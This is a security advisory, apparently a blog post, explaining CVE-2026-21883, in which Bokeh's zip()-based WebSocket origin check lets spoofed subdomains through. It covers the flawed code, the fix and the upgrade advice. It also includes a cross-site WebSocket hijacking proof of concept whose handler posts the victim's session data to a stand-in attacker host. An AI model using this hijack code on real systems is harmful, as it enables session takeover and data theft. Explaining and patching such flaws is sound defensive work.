CVE-2026-21883

Unzipping the Origin: How a Python Iterator Flaw Broke Bokeh

Alon Barad
Alon Barad
Software Engineer

Jan 7, 2026·5 min read

Executive Summary (TL;DR)

Bokeh versions < 3.8.2 used Python's `zip()` function to validate WebSocket origins. Because `zip()` stops at the shortest list, an attacker controlling `target.com.evil.com` could bypass the allowlist for `target.com`. This allows attackers to hijack interactive visualization sessions.

A logic error in the Bokeh visualization library allows attackers to bypass WebSocket origin validation. By exploiting the behavior of Python's `zip()` function, malicious sites can masquerade as trusted origins, leading to Cross-Site WebSocket Hijacking (CSWSH).

The Hook: Visualizing Disaster

Bokeh is the darling of the Python data science world. It lets you take those dry Pandas dataframes and turn them into interactive, browser-based magic. To make that interactivity real-time—sliders moving, graphs updating, servers crunching numbers—Bokeh relies heavily on WebSockets. It’s a persistent pipe between the browser and the backend python process.

Now, WebSockets are powerful, but they are also dangerous. Unlike standard HTTP requests, WebSockets don't adhere to the Same-Origin Policy (SOP) in the same strict way. The browser will happily send a WebSocket handshake from any site to your server, sending along your cookies and auth headers for the ride. It is up to the server to check the Origin header and say, "Wait a minute, you aren't supposed to be here."

In CVE-2026-21883, Bokeh tried to do the right thing. They had an allowlist. They had a check. But they used a Python function that is famous for being 'lazy' in all the wrong ways for security.

The Flaw: Silent Truncation

Here is the golden rule of input validation: Never stop checking until you've seen the whole thing.

The vulnerability lies in src/bokeh/server/util.py inside a function called match_host. Its job is simple: take the incoming Origin header (e.g., trust.com) and compare it against the allowlist (e.g., trust.com).

To handle subdomains and potentially complex patterns, the developers decided to split the hostnames into parts (lists of strings) and compare them segment by segment. They reached for Python's built-in zip() function.

If you are a Pythonista, you know where this is going. zip(a, b) creates an iterator of tuples, stopping as soon as the shortest input is exhausted. It doesn't scream. It doesn't raise an error. It just stops. This is a feature in data processing, but a catastrophic bug in security validation.

The Code: The Iterator Betrayal

Let's look at the logic that caused the headache. The implementation roughly looked like this:

# The flawed logic (simplified)
host_parts = incoming_host.split('.')  # e.g., ['legit', 'com', 'evil', 'com']
pattern_parts = allowlist_host.split('.') # e.g., ['legit', 'com']
 
# zip stops after 2 items!
if all(h == p for h, p in zip(host_parts, pattern_parts)):
    return True

Do you see the horror? If I own evil.com, I can set up a subdomain legit.com.evil.com. When I connect to your Bokeh server:

  1. My Origin is legit.com.evil.com.
  2. Your allowlist is legit.com.
  3. zip compares legit to legit. Match.
  4. zip compares com to com. Match.
  5. zip sees the allowlist is out of items. It stops.
  6. all() returns True.

The server welcomes me in, completely ignoring the trailing .evil.com tail I dragged in with me.

The fix, implemented in commit cedd113b0e271b439dce768671685cf5f861812e, enforces strict length checks or ensures the iterator matches the full length of the incoming host. It’s like checking ID and actually looking at the photo, not just the name.

The Exploit: Subdomain Shenanigans

This is a classic Cross-Site WebSocket Hijacking (CSWSH) scenario. To exploit this, I don't need to touch your server directly. I just need your users to touch my server.

The Setup:

  1. I identify a target organization running a Bokeh dashboard at internal-dashboard.corp.
  2. I register internal-dashboard.corp.attacker.net.
  3. I send a phishing email or drop a link: "Check out this new report."

The Execution: When the victim (who is authenticated to the real Bokeh dashboard) visits my site, my malicious JavaScript executes:

// Running on internal-dashboard.corp.attacker.net
const ws = new WebSocket("ws://internal-dashboard.corp/ws");
 
ws.onopen = function() {
    console.log("I'm in! Hijacking session...");
    // I can now send commands to the Bokeh backend
    // as if I were the victim.
};
 
ws.onmessage = function(event) {
    // Exfiltrating data streaming from the backend
    fetch("https://attacker.net/loot", {
        method: "POST",
        body: event.data
    });
};

The browser includes the victim's session cookies automatically. The Bokeh server sees the request, runs the flawed zip() check on the Origin header, gives it a thumbs up, and hands me a live socket into the victim's session.

The Impact: Why Panic?

You might think, "So what? They can see a graph." But Bokeh allows for two-way communication. It handles events. It triggers Python callbacks on the server.

Depending on how the Bokeh application is written, a WebSocket hijacker could:

  • Exfiltrate Sensitive Data: Stream live financial or medical data being visualized.
  • Manipulate State: Trigger buttons or inputs that execute backend logic (e.g., "Delete Row", "Update Database").
  • Denial of Service: flood the server with complex calculation requests.

Since this bypasses the primary Origin check, the only thing standing between the attacker and the backend is... well, nothing, assuming the session is valid.

The Fix: Measuring Up

The remediation is straightforward: stop using the vulnerable version. Upgrade to Bokeh 3.8.2 immediately.

If you are stuck on an older version and cannot upgrade (why do you hurt yourself?), you have very few options. You could try to put a reverse proxy (Nginx/Apache) in front of Bokeh and perform strict Origin validation there, rejecting anything that isn't an exact string match for your domain before the request even reaches the Python process.

But seriously, just pip install --upgrade bokeh. Don't let a lazy zip function be the reason you get pwned.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.4/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Affected Systems

Bokeh Server

Affected Versions Detail

Product
Affected Versions
Fixed Version
Bokeh
Bokeh
< 3.8.23.8.2
AttributeDetail
CWECWE-1385 (Missing Origin Validation in WebSockets)
Attack VectorNetwork (AV:N)
CVSS7.4 (High)
ImpactSession Hijacking / Data Exfiltration
Root CauseLogic Error (Iterating over partial match)
Patch StatusAvailable (v3.8.2)
CWE-1385
Missing Origin Validation in WebSockets

Vulnerability Timeline

Patch committed to Bokeh repository
2026-01-05
GHSA-793v-589g-574v published
2026-01-06
CVE-2026-21883 assigned
2026-01-06

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.